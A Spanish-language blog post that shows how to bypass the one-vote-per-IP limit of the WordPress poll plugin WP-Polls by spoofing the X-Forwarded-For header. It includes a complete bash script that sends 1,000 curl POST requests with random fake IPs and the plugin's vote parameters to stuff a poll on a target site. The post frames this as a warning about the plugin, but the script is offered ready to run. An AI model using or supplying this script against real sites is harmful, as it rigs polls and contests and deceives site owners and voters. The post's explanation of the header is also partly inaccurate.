WP-Polls es un plugin de WordPress para administrar encuestas, nunca lo he utilizado, simplemente quiero apuntar a lo fácil que es saltarnos la seguridad que tiene de no permitirnos votar mas de una vez por IP, pudiendo votar fácilmente las veces que se deseen, por lo que este plugin no debería ser utilizado para encuestas que se desean tener datos reales ni mucho menos para concursos...
Según pude ver, gracias al
plugin x-forwarded-for spoofer para firefox, al cambiar el valor de la cabecera http x-forwarded-for, me permitía votar de nuevo... de que estoy hablando? bueno, pueden encontrar mas información sobre esta
cabecera http en wikipedia, en resumen diremos que esta cabecera lleva tu ip local, por ejemplo, varios de los proveedores locales de internet hacen que varias personas salgan a internet a través de una misma IP, por ejemplo, por una misma IP está accediendo el Sr. Perez a la página de su periódico favorito pero tambien está Maloso Juarez queriendo entrar por fuerza bruta a la página de administración del mismo periódico... los administradores del servidor del periódico andaban vivos y se dieron cuenta del ataque de Maloso Juares, así que deciden bloquear la IP publica de Maloso Juarez, que resulta ser también la del Sr. Perez, resultando en que el Sr. Perez no puede disfrutar de su lectura porque fue bloqueado "sin querer".
X-forwarded-for entonces no toma en cuenta la IP publica, sino la IP local... ejemplo, la IP publica del Sr. Perez y Maloso Juarez era 200.13.X.X, pero la ip local que les está asignando el router de cada casa es del tipo: 192.168.0.1, que es la IP que lleva la cabecera X-Forwarded-for.
Esto solo fue un ejemplo, claro en la vida real si estoy sufriendo un ataque bloqueo la IP, no importa quien mas quede afectado, solo quise ilustrar la diferencia de IPs.
Volviendo al X-forwarded-for, al ser una cabecera HTTP enviada por el cliente (nosotros), tenemos control completo sobre que enviar y que no, ya sea con el
plugin mencionado anteriormente, algún proxy... o a pie.
Ya que descubrimos que WP-Polls unicamente verifica la dirección que viene detallada en la cabecera x-forwarded-for, entonces podemos engañarlo (IP spoofing), nos podemos entonces hacer un pequeño script bash, tenemos pues que verificar primero que variables son las que enviamos por post, para el caso WP-Polls normalmente son las siguientes:
vote=true&poll_id=1&poll_2=2&rndval=12321321321323
Bastará con identificar los valores para la opción que necesitamos, y nos hacemos nuestro script bash haciendo uso de
curl,
... antes de ponerlo, hay que aclarar que en x-forwarded-for podemos poner cualquier numero y dara igual... es decir, bien puedo poner rangos reales de IP: 192.168.0.1-254, IP inventadas: 955.278.8000.6... o numero cualquiera.
ahora si.. el script:
-----------------------------
#!/bin/bash
NUM=0
#solo vamos a agregar 1,000 votos
while [ $NUM -le 1000 ]; do
#generamos un numero random para ponerlo como parte de nuestra IP
RAN=$RANDOM
# $1 indica un argumento pasado desde la linea de comandos (ver uso despues)
# $RAN es nuestro numero random generado anteriormente
# $NUM es el numero correlativo de nuestra votacion
# -H es utilizado por curl para enviar cabeceras HTTP
# -d es utilizado por curl para indicarle las variables que tiene que enviar por POST
# ademas crea un archivo con la respuesta obtenida (para saber si el voto fue efectivo)
# lo cual puede omitirse si no quieres ver un monton de archivos..
#
# Nuestra IP la forma con el argumento que le pasemos,
# el numero random y el numero correlativo
# ej. si le pasamos el argumento "200.13"
# le agrega un numero random quedando "200.13.454545"
# y luego le agrega el correlativo quedando "200.13.454545.1"
# lo que hara algo dificil que se repita ;)
curl -H "X-Forwarded-For: $1.$RAN.$NUM" -d "vote=true&poll_id=1&poll_2=2&rndval=$RAN" "http://sitio_con_WP-Poll/" >log_$1.$RAN.$NUM.html
let NUM=$NUM+1
done
-----------------------------
Lo guardamos con cualquier nombre, por ej "wp", y lo ejecutamos pasandole un argumento para hacer aun mas flexible nuestra IP...
wp "200.13"
Y ahi va nuestra votacion...
Cabe mencionar que no he verificado versiones ni mayor detalles de este plugin...
Saludos!